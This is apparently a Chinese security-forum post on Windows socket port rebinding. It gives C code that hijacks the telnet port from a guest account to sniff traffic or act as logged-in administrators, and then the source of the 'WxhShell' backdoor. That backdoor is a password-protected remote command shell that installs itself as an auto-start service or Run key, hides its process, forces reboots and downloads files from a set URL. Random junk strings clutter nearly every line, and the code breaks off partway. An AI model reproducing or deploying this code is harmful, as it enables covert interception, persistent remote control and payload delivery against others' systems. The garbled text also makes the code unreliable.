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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !g Z67  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &F\?  
Em?d*z  
  saddr.sin_family = AF_INET; JXCCTUO  
~3WM5 fv  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "u6`m?  
y|CP;:f;  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @|<<H3I  
:{qv~&+C  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~vs}.kb  
QF{4/y^j{  
  这意味着什么?意味着可以进行如下的攻击: ld3-C55  
-M%_\;"de  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 T;@;R %  
,$1eFgY%  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) WtViW=j'  
Z^V6K3GSz-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 N5*u]j  
cU ? 0(z7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  M(jgd  
GN-mrQo  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 x 8Retuv  
i7ISX>%  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 kjEEuEv  
5nv<^>[J  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |_o=^?z'  
R>,:A%?^b5  
  #include &n6$rBr %  
  #include i-bJS6  
  #include @Gx.q&H  
  #include    1c<=A!"{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   A:aE|v/T&  
  int main() B+[A]dgS  
  { 8aO~/i:(.  
  WORD wVersionRequested; s4 6}s{6   
  DWORD ret; 7:9.&W/KE  
  WSADATA wsaData; L!=4N!j  
  BOOL val; _7IKzUn9g[  
  SOCKADDR_IN saddr; )N=NR2xBZ  
  SOCKADDR_IN scaddr; Jj,U RD&0R  
  int err; G"X8}:}  
  SOCKET s; !,[C] Q1  
  SOCKET sc; qtiz a~u  
  int caddsize; 4!+pc-}-  
  HANDLE mt; RQ'exc2x0  
  DWORD tid;   6:q"l\n>  
  wVersionRequested = MAKEWORD( 2, 2 ); =i_-F$pV  
  err = WSAStartup( wVersionRequested, &wsaData ); v3}L`dyh3  
  if ( err != 0 ) { fRy^Q_~,  
  printf("error!WSAStartup failed!\n"); -:30:oq  
  return -1; e?_@aa9~@{  
  } 70f Klp  
  saddr.sin_family = AF_INET; Vm(1G8 a  
   N-I5X2  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 :!5IW?2  
5m?8yT}  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 9so6WIWc  
  saddr.sin_port = htons(23); ?shIj;c[  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |;.o8}  
  { vk*=4}:  
  printf("error!socket failed!\n"); !PrwH;  
  return -1; _@ *+~9%8p  
  } N5]0/,I}  
  val = TRUE; } b=}uiR#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 XK|R8rhg8`  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) bHg,1y)UC  
  {  emK$`9  
  printf("error!setsockopt failed!\n"); 8<.C3m 6h  
  return -1; F;gx%[$GX  
  } JNkwEZhHyg  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; K$M^gh0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 qw@puw@D  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .pfP7weQ  
2zVJvn7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1AG=%F|.  
  { ,hq)1u  
  ret=GetLastError(); AZa 6 C w  
  printf("error!bind failed!\n"); Kv.>Vf.T}_  
  return -1; .so[I  
  } q4}PM[K?=\  
  listen(s,2); Qtbbb3m;  
  while(1) fO0(Z  
  { F1jglH/MF)  
  caddsize = sizeof(scaddr); usEwm,b)  
  //接受连接请求 ~_Lr=CD;4  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); R2(3 >`FJ  
  if(sc!=INVALID_SOCKET) Z^]|o<.<I  
  { DyeQJ7p  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); aYuD>rD  
  if(mt==NULL) %z#f.Ql  
  { OiE;B  
  printf("Thread Creat Failed!\n"); ]UH`Pdlt  
  break; Si_%Rr&jW  
  } ZQ_xDKqRV  
  } z)z{3rR|PW  
  CloseHandle(mt); iCW*]U  
  } 6oLwfTy  
  closesocket(s); (9<guv  
  WSACleanup(); Q$:![}[(  
  return 0; wk6NG/<  
  }   ;9~6_@,@o  
  DWORD WINAPI ClientThread(LPVOID lpParam) mp9{m`Jb*  
  { G:pEE:W[  
  SOCKET ss = (SOCKET)lpParam; h$.:Uj8/  
  SOCKET sc; 9lGOWRxR)  
  unsigned char buf[4096]; N\HQN0d9  
  SOCKADDR_IN saddr; tID%}Zv  
  long num; &}?$i7x5  
  DWORD val; AJSx%?h:6  
  DWORD ret; qTAc[Ko  
  //如果是隐藏端口应用的话,可以在此处加一些判断 HsnLm67'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   br0++}vwL  
  saddr.sin_family = AF_INET; INkD=tX  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ?Y:8eD"*  
  saddr.sin_port = htons(23); ={5#fgK>  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) lW(px^&IN  
  { TQ`Rk;0R  
  printf("error!socket failed!\n"); LJOr!rWi  
  return -1; UTf9S>HS  
  } {_Lg tu  
  val = 100; ' Hi : 2Wh  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H"C[&r  
  { {}QB|IH`  
  ret = GetLastError(); 8}fu,$$5  
  return -1; KN?6;G{  
  }  ;zYqsS  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a)S+8uU  
  { ]~6_WE8L  
  ret = GetLastError(); $Bj;D=d@V  
  return -1; -s|}Rh?Y  
  } &Ch#-CUE/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) jL^](J>  
  { UN%Vg:=  
  printf("error!socket connect failed!\n"); esHQoIhd  
  closesocket(sc); 0TmR/uUT  
  closesocket(ss); "Ae@lINn[y  
  return -1; Gg~QAsks   
  } >[ Ye  
  while(1) &BtK($  
  { N.4q.  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 vjQb%/LWl  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?Q-h n:F)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Kh4$ wwn  
  num = recv(ss,buf,4096,0); +<}0|Xl&  
  if(num>0) NM0tp )h  
  send(sc,buf,num,0); ZxlAk+<]  
  else if(num==0) *J+_|_0nlW  
  break; fm(e3]  
  num = recv(sc,buf,4096,0); hFk3[zTy  
  if(num>0) \=0V uz  
  send(ss,buf,num,0); <`jLY)sw  
  else if(num==0) zO V=9"~{  
  break; 2-"0 ^n{  
  } H-3Eo#b#  
  closesocket(ss); _[Vf547vS  
  closesocket(sc); 6<N5_1  
  return 0 ; ?W( 6  
  } K]U;?h&CZc  
8[|UgI,>z  
4n %?YQ[t  
========================================================== /sr2mt-Q  
u(OW gbA3  
下边附上一个代码,,WXhSHELL HLBkR>e  
?%VI{[y#>  
========================================================== WWL4`s  
j S;J:$>^  
#include "stdafx.h" }?&k a$rI  
 Y!WG)u5  
#include <stdio.h> ]$p{I)d&  
#include <string.h> P7 PB t  
#include <windows.h> C-8qj>  
#include <winsock2.h> ?-tVSRKQ  
#include <winsvc.h> M:P0m6ie  
#include <urlmon.h> R(-<BtM!-  
}BiiE%a  
#pragma comment (lib, "Ws2_32.lib") Ja SI^go  
#pragma comment (lib, "urlmon.lib")  Ug:\  
'S2bp4G  
#define MAX_USER   100 // 最大客户端连接数 K"u NxZ  
#define BUF_SOCK   200 // sock buffer u7xDau(c  
#define KEY_BUFF   255 // 输入 buffer A].>.AI  
`;YU.*  
#define REBOOT     0   // 重启 (ZL sB{r^  
#define SHUTDOWN   1   // 关机 gtYAHi  
`\X+ Ud|  
#define DEF_PORT   5000 // 监听端口 >Bs#Xb_B]  
%lX%8Z$v  
#define REG_LEN     16   // 注册表键长度 ;SwMu@tg  
#define SVC_LEN     80   // NT服务名长度 -QyhwG =  
gPu2G/Y  
// 从dll定义API sHcTd>xS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~V/?H!r'{}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2kv7UU#q2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `)qVF,Z}  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); DfV~!bY  
oG7q_4+&  
// wxhshell配置信息 tX!n sm1  
struct WSCFG { *xE,sj+(  
  int ws_port;         // 监听端口 >|6iR%"f#  
  char ws_passstr[REG_LEN]; // 口令 .))v0   
  int ws_autoins;       // 安装标记, 1=yes 0=no +525{Tj  
  char ws_regname[REG_LEN]; // 注册表键名 G&;j6<hl  
  char ws_svcname[REG_LEN]; // 服务名  be e5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /T,Z>R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 % aUsOB-RV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >HPdzLY?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $5L0.$Tj  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" , * ]d~Y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 66#"  
sz-- 27es  
}; __[xD\ES  
A~Xq,BxCV  
// default Wxhshell configuration zZiJ 9 e  
struct WSCFG wscfg={DEF_PORT, 15$4&=O  
    "xuhuanlingzhe", P/JK$nb  
    1, ~Ph\Sbp  
    "Wxhshell", #q3l!3\mW  
    "Wxhshell", ^ FZ^6*  
            "WxhShell Service", w'X]M#Q><  
    "Wrsky Windows CmdShell Service", JbO ~n )%x  
    "Please Input Your Password: ", ]#/4Y_d  
  1, Gn)y> AN  
  "http://www.wrsky.com/wxhshell.exe", m^_6:Q0F!8  
  "Wxhshell.exe" '!P"xBVAu  
    }; M0| 'f'  
hUz[uyt  
// 消息定义模块 N$TL;T>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;pD)m/$h`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q!f1~aG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s4%(>Q  
char *msg_ws_ext="\n\rExit."; rdnRBFt   
char *msg_ws_end="\n\rQuit."; CSV;+,Vv  
char *msg_ws_boot="\n\rReboot..."; +,50q N:%[  
char *msg_ws_poff="\n\rShutdown..."; {B*W\[ns  
char *msg_ws_down="\n\rSave to "; `.#@@5e  
hI pKJ&hm  
char *msg_ws_err="\n\rErr!"; F?m?UQS'u  
char *msg_ws_ok="\n\rOK!"; zq1mmFIO  
hh~n#7w~IR  
char ExeFile[MAX_PATH]; FuX 8v  
int nUser = 0; dY" }\v6  
HANDLE handles[MAX_USER]; ~|wos-nM  
int OsIsNt; i)Lp7m z  
[!^-J}^g~\  
SERVICE_STATUS       serviceStatus; V@d )?T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; PuxK?bwC  
k>E`s<3  
// 函数声明 1!p/6  
int Install(void); i#X!#vyc  
int Uninstall(void); -ng=l;  
int DownloadFile(char *sURL, SOCKET wsh); 19(Dj&x  
int Boot(int flag); >x3ug]Bu  
void HideProc(void); Px M!U!t  
int GetOsVer(void); kl1Y] ?z}  
int Wxhshell(SOCKET wsl); E3a_8@ZB7  
void TalkWithClient(void *cs); WxbsD S;  
int CmdShell(SOCKET sock); _,6f#t  
int StartFromService(void); 7GZgu$'  
int StartWxhshell(LPSTR lpCmdLine); I8H%=Kb?9  
IMQ]1uq0$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); dSIH9D  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); U,1AfzlF  
/,5Z-Z*wq  
// 数据结构和表定义 Je4Z(kj 0  
SERVICE_TABLE_ENTRY DispatchTable[] = Ip}Vb6}  
{ rVQX7l#YI  
{wscfg.ws_svcname, NTServiceMain}, rOD1_X-  
{NULL, NULL} _SZ5P>GIU  
}; g8ES8S M  
lH|LdlX  
// 自我安装 [ neXFp}S  
int Install(void) ~un%4]U  
{ tLm867`c7  
  char svExeFile[MAX_PATH]; gLL-VvJ[  
  HKEY key; 8_uzpeRhJc  
  strcpy(svExeFile,ExeFile); [O-sVYB  
5 waw`F  
// 如果是win9x系统,修改注册表设为自启动 ,]Zp+>{  
if(!OsIsNt) { }8'&r(cN4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |0bc$ZY:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2aw&F Z?  
  RegCloseKey(key); Bb Jkdt7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v| z08\a[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %K 4  
  RegCloseKey(key); DE{h5-g  
  return 0; ZF#Rej?  
    } o%M<-l"!/  
  } Bk|K%K  
} Nq8@Nyp  
else { >s*DrfX6  
iO!6}yJ*V  
// 如果是NT以上系统,安装为系统服务 ++[5q+b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); d]0a%Xh[  
if (schSCManager!=0) W( *V2<$o  
{ Em13dem  
  SC_HANDLE schService = CreateService N~=A  
  ( [A~G-  
  schSCManager, IGj`_a  
  wscfg.ws_svcname, U[_8WJ7+  
  wscfg.ws_svcdisp, (UEXxUdQ_Q  
  SERVICE_ALL_ACCESS, ]!YtH]}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , sCH)gr@gJ^  
  SERVICE_AUTO_START, v.Ogf 5  
  SERVICE_ERROR_NORMAL, Zu<]bv  
  svExeFile, (7$$;  
  NULL, }dSFAKI2dM  
  NULL, j!#O G  
  NULL, CfT/R/L  
  NULL, f1{z~i9@$  
  NULL H*e'Cs/  
  ); {LE&ylE  
  if (schService!=0) "Q+83adY4x  
  { s<T?pH  
  CloseServiceHandle(schService);  ((DzUyK  
  CloseServiceHandle(schSCManager); X=p"5hhfn  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); $v;dV@tB  
  strcat(svExeFile,wscfg.ws_svcname); #] KgUc5B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8IY19>4'5J  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); yOHXY&  
  RegCloseKey(key); K <`>O, F  
  return 0; A{,n;;  
    } Lue|Plm[y  
  } 4\ $3  
  CloseServiceHandle(schSCManager); SHdL /1~t  
} b#Kq[}  
} (wt+`_6  
k{Lv37H  
return 1; Wr|G:(kw\!  
} W=-|`  
y62%26 [  
// 自我卸载 KS>$`ax,  
int Uninstall(void) 18!VO4u\I  
{ )Id2GV~2B  
  HKEY key; E)YVfM  
X:q_c=X  
if(!OsIsNt) { o<VP'F{p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !Rw&DFU  
  RegDeleteValue(key,wscfg.ws_regname); 8:g!w:$x  
  RegCloseKey(key); -wr(vE,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FRyPeZR  
  RegDeleteValue(key,wscfg.ws_regname); -Wo15O"  
  RegCloseKey(key); Y_H/3?b%  
  return 0; Ky9W/dCR  
  } -Wjh**  
} K}x/ BhE+  
} yqcM(,0]  
else { tEhr  
lH1g[ ))  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ( )|3  
if (schSCManager!=0) !L\'Mk/=A  
{ r+g jc?Ol  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); VWvoQf^+  
  if (schService!=0) &IQ%\W#aY  
  { fGu!M9qN4  
  if(DeleteService(schService)!=0) { 9D4-^M:a  
  CloseServiceHandle(schService); != zx  
  CloseServiceHandle(schSCManager); *6*-WV6  
  return 0; 79ZxqvB\  
  } c4]u&tvjJ  
  CloseServiceHandle(schService); ;L6Xs_L~  
  } L$JI43HZ  
  CloseServiceHandle(schSCManager); .9 kyrlm  
} h[U7!aM  
} j@P5(3r  
Di.;<v#FL  
return 1; ~iTxv_\=6u  
} 6Y?`=kAp  
9O >z4o  
// 从指定url下载文件 i>GdRG&q  
int DownloadFile(char *sURL, SOCKET wsh) 1X@b?6  
{ A@ VaaX  
  HRESULT hr; @l>Xnqx)  
char seps[]= "/"; 8R/ *6S=&  
char *token; 7*'@qjTos  
char *file; rWr/p^~  
char myURL[MAX_PATH]; yh!B!v'  
char myFILE[MAX_PATH]; ks:{TA27  
d.\PS9l  
strcpy(myURL,sURL); _t.FL@3e  
  token=strtok(myURL,seps); fOBN=y6x  
  while(token!=NULL) n6cq\@~A  
  { &>=#w"skb6  
    file=token; BJIQ zn3  
  token=strtok(NULL,seps); 0zV 4`y  
  } |cu`f{E2]  
oyQ0V94j  
GetCurrentDirectory(MAX_PATH,myFILE); /.ZaE+  
strcat(myFILE, "\\"); M:|/ijp N  
strcat(myFILE, file); Yw^ Gti'<  
  send(wsh,myFILE,strlen(myFILE),0); on5 0+)uN  
send(wsh,"...",3,0); J#@lV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zPBfiK_hV  
  if(hr==S_OK) Xiju"Cup"  
return 0; gb_X?j%p7  
else 4<Kgmy  
return 1; ]L(54q;W  
vf_OQ4'G,  
} Sh$U-ch@  
u\5g3BH  
// 系统电源模块 d$Em\*C  
int Boot(int flag) {G.jB/  
{ Z:^3Fm->+  
  HANDLE hToken; ^srs$ w]  
  TOKEN_PRIVILEGES tkp; Mdm0g  
>)sqh ~P  
  if(OsIsNt) { F(0Z ]#+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u_Zm1*'?B  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 85C#ja1&  
    tkp.PrivilegeCount = 1; NDW8~lkL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Lupy:4AD  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :B^mV{~  
if(flag==REBOOT) { `vX4! @Tw  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {9;eH'e  
  return 0; >]?Jrs  
} U#"WrWj  
else { g-eq&#  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T0?uC/7H  
  return 0; &%:*\_2s  
} EqQ3=XMUL@  
  } 1gk0l'.z  
  else { x Ty7lfSe  
if(flag==REBOOT) { N6BNzN}-P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) pj@Yqg/  
  return 0; _Z.;u0Zp8  
} khS/'b  
else { /x O{ .dr  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Vku#;:yUb^  
  return 0; Un\Ubqi0  
} \gP. \  
} /pU|ZA.z'2  
d}VALjXHX!  
return 1; t .L4%1OF  
} DA=qeVBg  
:@;6  
// win9x进程隐藏模块 IO6MK&R  
void HideProc(void) #AvEH=:  
{ -[<vYxX:h:  
K+-zY[3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); N+hedF@ZU  
  if ( hKernel != NULL ) *LEu=3lp%>  
  { bkkSIl+Q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); _y"a2M  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ik1XGFy?  
    FreeLibrary(hKernel); ]p\u$VY9  
  } 15JsmA*Q  
<B=[hk!  
return; {9Xm<}%u]]  
} gu!](yEgl  
[JZ  h*A  
// 获取操作系统版本 qr9Imr0w<  
int GetOsVer(void) !^]q0x  
{ +#9xA6,AE  
  OSVERSIONINFO winfo; {sl~2#,}b1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); avV mY|I  
  GetVersionEx(&winfo); >^ ;(c4C  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /!-J53K  
  return 1; ,Q+\h>I  
  else _~:j3=1&n  
  return 0; yW{mK  
} *b:u * `@  
e$H|MdYIA  
// 客户端句柄模块 3]!h{_:u  
int Wxhshell(SOCKET wsl) YK7\D:  
{ @OY1`Eu O  
  SOCKET wsh; V*>73I  
  struct sockaddr_in client; {dZ!I  
  DWORD myID; $\0TD7p  
OCwW@OC +  
  while(nUser<MAX_USER) qT"drgpi3  
{ R/ Tj^lM  
  int nSize=sizeof(client); sD2*x T  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :wSJ-\'$  
  if(wsh==INVALID_SOCKET) return 1; x<Iy<v7-  
uvR0TIF4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gj[z ka0_  
if(handles[nUser]==0) U{HyxZ|q<  
  closesocket(wsh); n$IWoIdbGN  
else *&h6*zP?  
  nUser++; nrI"k2oA@  
  } +< GrRYbC  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }+*w.X}L  
SQKi2\8w  
  return 0; "OVi /:*B  
} aD?# ,  
;,mBT[_ZO  
// 关闭 socket %Fs*#S  
void CloseIt(SOCKET wsh) K?$ 9N}+  
{ a^%8QJW  
closesocket(wsh); ^dheJ]n=k  
nUser--; sN"p5p  
ExitThread(0); /4(Z`e;0  
} 'lxLnX  
}!eF  
// 客户端请求句柄 zoR,RBU6  
void TalkWithClient(void *cs) $xLEA\s  
{ x`Vy<h 33  
4u@yJ?U  
  SOCKET wsh=(SOCKET)cs; <zfO1~^  
  char pwd[SVC_LEN]; =VCi8jDkP  
  char cmd[KEY_BUFF]; 7E;>E9 '  
char chr[1]; Dp%5$wF)8  
int i,j; mgk64}K[n  
+[>y O _}  
  while (nUser < MAX_USER) { ZYrKG+fkl  
XCW+ pUX  
if(wscfg.ws_passstr) { "9)1K!tH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Gs^(YGtU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6{cybD`Ef&  
  //ZeroMemory(pwd,KEY_BUFF); UENYJ*tnP  
      i=0; jQY >9+t  
  while(i<SVC_LEN) { }~myf\$  
<ur KIu  
  // 设置超时 &uv>'S#%  
  fd_set FdRead; :yd=No@  
  struct timeval TimeOut; 5wT' ,U"+  
  FD_ZERO(&FdRead); .@4QkG/  
  FD_SET(wsh,&FdRead); *U( 1iv0n  
  TimeOut.tv_sec=8; 9"m, p  
  TimeOut.tv_usec=0; qJ#L)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |3s.;w K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *K]>}  
jK& Nkp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iSnIBs9\  
  pwd=chr[0]; Kh>?!` lL  
  if(chr[0]==0xd || chr[0]==0xa) { 'hxs((['\  
  pwd=0; (3)C_Z  
  break; QBg}2.  
  } NvXj6U*%  
  i++; |U8>:DEl  
    } 6lB{Ao?|  
e}{8a9J<%_  
  // 如果是非法用户,关闭 socket .t"n]X i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >l7eoj  
} SIKk|I)  
\DG( 8l  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Yt\E/*%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YR$tPe  
.d<~a1k  
while(1) { ^hQ:A4@q  
s4\SX,  
  ZeroMemory(cmd,KEY_BUFF); X7'h@>R   
qkIA,Kgy  
      // 自动支持客户端 telnet标准   ,apd3X%g  
  j=0; tXssejiE%  
  while(j<KEY_BUFF) { zv$=*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dbf^A1HI  
  cmd[j]=chr[0]; k+W  
  if(chr[0]==0xa || chr[0]==0xd) { u!=]zW%  
  cmd[j]=0; >=.ch5h3J)  
  break; ?K= gg<  
  } &6|6J1c8  
  j++; \#h})`  
    } `D&#U'wB   
Bbn832iMUY  
  // 下载文件 5^G7pI7  
  if(strstr(cmd,"http://")) { N[|by}@n  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); h$#4ebp  
  if(DownloadFile(cmd,wsh)) (.jO:#eE%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I v 80,hW  
  else z|t.y.JX  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;j[q?^ b  
  } 7)ES!C   
  else { :X1`wBu  
-ucz+{  
    switch(cmd[0]) { <MI$N l  
  "B_5Y&pM`  
  // 帮助 Zq2H9^![y~  
  case '?': { g7E`;&f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); oT9XJwqnv  
    break; +iZ@.LI  
  } `Z;B^Y0  
  // 安装 ,d/CU  
  case 'i': { 8EW`*+%=  
    if(Install()) "GIg| 3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [4V|UvKz  
    else bi4^ zaCEE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ijR-?nrR  
    break; ss|6_H =  
    } VC_3ll]vr  
  // 卸载 ;&7qw69k  
  case 'r': { =6"hj,[Q  
    if(Uninstall()) ynOc~TN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  JsAb q  
    else YQfZiz}Fv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g*"J10hyP  
    break; y$;zTH_6j  
    } 3V8j>&  
  // 显示 wxhshell 所在路径 7+A-7ci  
  case 'p': { _S%OX_UMn^  
    char svExeFile[MAX_PATH]; \k$]GK-  
    strcpy(svExeFile,"\n\r"); .PA ?N{z  
      strcat(svExeFile,ExeFile); -Y!=Iw 4  
        send(wsh,svExeFile,strlen(svExeFile),0); t&p:vXF2  
    break; $yR{ZFo  
    } @eG#%6">  
  // 重启 ^YB\\a9  
  case 'b': { T^f&58{ 7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0X}w[^f  
    if(Boot(REBOOT)) !Cv<>_N).  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [8om9 Z3  
    else { BhhK| U/  
    closesocket(wsh); .[eSKtbc)  
